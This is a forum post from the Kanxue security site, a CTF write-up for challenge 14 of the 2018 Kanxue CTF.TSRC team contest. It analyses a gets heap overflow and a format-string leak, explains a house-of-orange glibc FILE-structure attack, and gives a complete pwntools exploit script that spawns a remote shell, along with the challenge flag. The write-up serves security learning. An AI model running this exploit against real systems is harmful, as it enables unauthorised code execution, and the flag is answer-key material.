首页
论坛
课程
招聘
雪    币: 19065
活跃值: 活跃值 (23)
能力值: ( LV15,RANK:928 )
在线值:
发帖
回帖
粉丝

[原创]看雪CTF.TSRC 2018 团队赛 第十四题

2018-12-29 11:13 3905

[原创]看雪CTF.TSRC 2018 团队赛 第十四题

2018-12-29 11:13
3905
一、初探
1、查看开启保护,  可以看到got表可写,其他的保护全开。
           
2、反编译程序
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // ebx
  unsigned int v4; // eax
  void *pbuf; // rbp

  v3 = 5;
  sub_558ED32B1AB0();
  puts("echo from your heart");
  do
  {
    __printf_chk(1LL, "lens of your word: ");
    v4 = GetBufLenFromStdin();
    if ( v4 > 0x1000 )
    {
      puts("too long");
      exit(1);
    }
    pbuf = malloc(v4);
    __printf_chk(1LL, "word: ");
    gets(pbuf);
    __printf_chk(1LL, "echo: ");
    __printf_chk(1LL, pbuf);
    putchar(10);
    --v3;
  }
  while ( v3 );
  return 0LL;
}
程序逻辑非常清晰:
a) 调用GetBufLenFromStdin函数获得要malloc的size;
b)如果size超过0x1000,则退出程序;
c)调用gets函数从终端获取数据;
d)调用__printf_chk打印gets获取数据;
e)整个流程执行5次后退出。
二、漏洞
发现存在2个漏洞:
1、调用gets函数获取用户数据没有对输入的范围做限定,造成可以写任意数据到堆中,包括改写top trunk的size;
2、存在格式化字符漏洞,可以泄露主程序和libc的基址。
三、hourse of orange
这是一个典型的hourse of orange 漏洞。这个漏洞的具体介绍就不细说了。但是本题需要考虑以下问题:
1、 一般情况 hourse of orange需要获得libc基址以及堆基址。我们通过字符串格式化漏洞可以获得libc基址,但是无法拿到堆基址。虽然 hourse of orange也能泄露 libc基址以及堆基址,但是gets函数遇到回车符后会将回车清0,从而让字符串断链,无法将后面的相应地址读出来。也就无法获得堆地址。
2、 hourse of orange要求当将我们能对已经变成 "unsort bin"的内存控制权。

为了能拿到shell,我们就需要程序在某一时刻能够执行类似于 call system("/bin/sh") 。或者执行类似于 call [rax+0xxx]的代码,而 call [rax+0xxx ]指向system,
 hourse of orange 主要的目的是通过某种构造使程序执行 call [rax+0xxx ]。
        整个漏洞利用包括如下过程:
        1、先申请一块空间,然后输入 '%016lx %016lx %016lx %016lx %016lx %016lx %016lx'  拿到libc基址;
        2、再申请一块空间,同时输入超过空间大小的数据造成堆溢出,并将top trunk的size改写,使其小于0x1000;
        3、再次申请大于top trunk大小的空间,此时会将 top trunk 加入到unsort bin中,变为old trunk;
        4、再次申请小于 old trunk 的空间,此时申请到的空间会从 unsort bin中拿掉,但剩余的部分仍然变成 unsort bin,注意在此时我们对新申请的空间写入的数据超过其大小,就会覆盖剩余的 unsort bin ,从而获得 已经变成 "unsort bin"的内存控制权 。
        5、当我们拿到 "unsort bin"的内存控制权 后,就可以精心构造相应数据,来达到我们的效果。
        6、当下次再进行内存分配时(一般大于此时 "unsort bin"的大小),此时系统会将其从unsort bin拆除,并根据其大小插入到相应的bins中。我们通过步骤5构造的数据,如果能够让malloc发现数据非法,从而产生如下调用
        malloc_printerr->__libc_message -> abort() ->_IO_flush_all_lockp,而在 _IO_flush_all_lockp中会遍历_IO_list_all全局变量指向的地址(为_IO_FILE_plus类型结构,如果 _IO_list_all的数据满足某些条件是,会调用本结构中的某个虚函数表的某个函数。如果能够改写 _IO_list_all地址内容,让其变成 unsort bin 链表地址,当发现异常时, _IO_flush_all_lockp就会将 unsort bin内存当做_IO_FILE_plus结构进行遍历,如果能够满足条件就可以达到 call [rax+0xxx ]这样的条件,让 [rax+0xxx ] = system地址,同时使其的第一个参数执行字符串"/bin/sh"。
        7、条件构造:   
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}
 从上面的源码中可以看到,其中如果能够让流程走的IO_OVERFLOW (fp, EOF) == EOF)这里,就初步达到目的
  if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
我们看反汇编代码会更明显:   
    if ( *((_DWORD *)v4 + 48) <= 0 )
      {
        if ( v4[5] <= v4[4] )
          goto LABEL_29;
      }
      else if ( *(_QWORD *)(v4[20] + 0x20LL) <= *(_QWORD *)(v4[20] + 24LL) )
      {
        goto LABEL_29;
      }
      if ( (*(unsigned int (__fastcall **)(_QWORD *, signed __int64))(v4[27] + 24LL))(v4, 0xFFFFFFFFLL) == -1 )
        v7 = -1;
             
         我们看其会执行v4[27] + 24 指向的地址,其中v4为我们 unsort bin(已被加入到smallbin[4]位置)的地址。如果我们将 v4[27]的内容执行一片我们能写的区域,然后将其_IO_str_jumps位置写入system地址,而此时输入的参数仍然是v4,我们将v4的起始地址写入'/bin/sh',从而就达到我们目的拿到shell。但是不幸的我们只能控制堆中的数据,而堆的地址却无法获取到。在这种情况下我们需要找一个代理函数来达到这个目的。libc中存在这样的虚函数表结构

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

        如果将_IO_str_jumps对应的全局变量虚函数表写入到 v4[27] + 24位置,那么其实可以执行上表中的任意函数。比如_IO_str_overflow 和_IO_str_finish,看相关代码

void_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);
	      (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

这两个函数也都存在类似于 call [rax+0xxx]的调用,而这里的 ‘’RAX“实际上就位于我们的可控制的内存中”。  我们分析看相应的汇编代码   _IO_str_overflow:

v5 = *((_QWORD *)a1 + 7);
  v6 = *((_QWORD *)a1 + 8) - v5;
  if ( (unsigned __int64)&v4[-*((_QWORD *)a1 + 4)] >= v6 + (a2 == -1) )
  {
    if ( v2 & 1 )
      return 0xFFFFFFFFLL;
    v7 = 2 * v6 + 100;
    if ( v6 > v7 )
      return 0xFFFFFFFFLL;
    v8 = (*((__int64 (__fastcall **)(unsigned __int64))a1 + 28))(2 * v6 + 100);

       我们看如果我们能够构造下面的条件就可以执行:

(*((__int64 (__fastcall **)(unsigned __int64))a1 + 28))(2 * v6 + 100);

     这里的a1,就为我们控制内存的起始地址。但是这里存在一个问题: 要求 ((2 * v6 + 100指向一个“/bin/sh"字符串,我们可以让其指向 libc中的‘/bin/sh’位置,但是这要有个前提  这个地址是由 2 * v6 + 100算出来的,因此需要 =‘/bin/sh’必须是偶数,不幸的是,本题敲好位于奇数位置:

     .rodata:000000000018CD57 2F 62 69 6E 2F 73 68 00             aBinSh          db '/bin/sh',0    

     因此不能使用 _IO_str_overflow,我们再看 _IO_str_finish函数汇编:

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}
__int64 __fastcall sub_7CFA0(__int64 a1)
{
  if ( *(_QWORD *)(a1 + 0x38) && !(*(_BYTE *)a1 & 1) )
    (*(void (**)(void))(a1 + 0xE8))();
  *(_QWORD *)(a1 + 56) = 0LL;
  return IO_default_finish(a1, 0LL);
}
可以看出条件就非常简单了。
       a1 + 0x38 设置成 '/bin/sh',
      a1 + 0xE8为 system函数地址
      a1+0 位置设置为0就可以在 _IO_str_finish中调用 system函数。

至于怎样构造,将 _IO_list_all习惯成unsort bin链表起始地址,同时将其加入到smallbin[4]中,网上有很多介绍资料,这里就不说了。对于hourse of orange在构造参数过程中可能会发生错误,发生这种情况,就直接使用IDA调试,就可以很快定位问题了。

#!/usr/bin/python
# coding:utf-8
from pwn import *
from zio import *
def do_cmd(io, llen, data):
    io.recvuntil('lens of your word:')
    io.sendline(str(llen))
    io.recvuntil('word')
    io.sendline(data)

if __name__ == '__main__':
    #io = process('./echopwn')
    io = remote('211.159.175.39', 8686)
    io.recvuntil('lens of your word')
    llen = 0x90 - 8
    io.sendline(str(llen))
    sleep(1)
    io.recvuntil('word');
    sleep(1)

    payload_libc = '%016lx %016lx %016lx %016lx %016lx %016lx %016lx'
    io.sendline(payload_libc)
    sleep(1)
    io.recvuntil('echo: ');
    io.recv(17), 16
    libc_base = int(io.recv(16), 16)
    libc_base = libc_base - 0xF72C0
    print 'libc_base = ' + str(hex(libc_base))
    io.recv(18)
    io.recv(17)
    io.recv(17)
    exeBase = int(io.recv(17), 16)
    exeBase = exeBase - 0xB80
    print 'exeBase = ' + str(hex(exeBase))
    io.recv(17)
    real_system = libc_base + 0x45390
    real_io_list = libc_base + 0x3C5520
    real_binsh = libc_base + 0x18CD57
    print 'real_io_list = ' + str(hex(real_io_list))
    print 'real_system = ' + str(hex(real_system))
    print 'real_binsh = ' + str(hex(real_binsh))

    # house of orange
    do_cmd(io, 0x90 - 8, 'a' * 0x80 + p64(0) + p64(0xee1))
    print 'step1'
    do_cmd(io, 0x1000 - 8, 'b' * 0x80 + p64(0) + p64(0x61) + p64(0xddaa) + p64(real_io_list - 0x10))
    print 'step2'
    fake_chunk = '\x00' * 8 + p64(0x61)  # why ? io_file?
    fake_chunk += p64(0xddaa) + p64(real_io_list - 0x10)
    fake_chunk += p64(0xffffffffffffff) + p64(0x2) + p64(0) + p64(real_binsh) + p64((real_binsh - 0x64) / 2)
    fake_chunk = fake_chunk.ljust(0xa0, '\x00')
    fake_chunk += p64(real_system + 0x420)
    fake_chunk = fake_chunk.ljust(0xc0, '\x00')
    fake_chunk += p64(1)
    vtable_addr = libc_base +  0x3C3798
    payload = fake_chunk
    payload += p64(0)
    payload += p64(0)
    payload += p64(vtable_addr)
    payload += p64(real_system)
    payload += p64(real_system)
    payload += p64(3)
    payload += p64(0) * 3  # vtable
    payload += p64(real_system)

    do_cmd(io, 0x90 - 8, 'c' * 0x80 + payload)
    print 'step3'

    io.sendline('256')
    sleep(1)
    io.interactive()

flag 为:flag{wefwkejsueneriuweiwsdu32few2djwe}

   








HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最后于 2019-1-11 19:15 被kanxue编辑 ,原因:
最新回复 (2)
雪    币: 14750
活跃值: 活跃值 (268)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
wsc 活跃值 2018-12-29 15:56
2
0
非常赞
雪    币: 10627
活跃值: 活跃值 (37)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
junkboy 活跃值 2019-1-11 20:05
3
0
 #寻宝大战#祝看雪19岁快乐!
游客
登录 | 注册 方可回帖
返回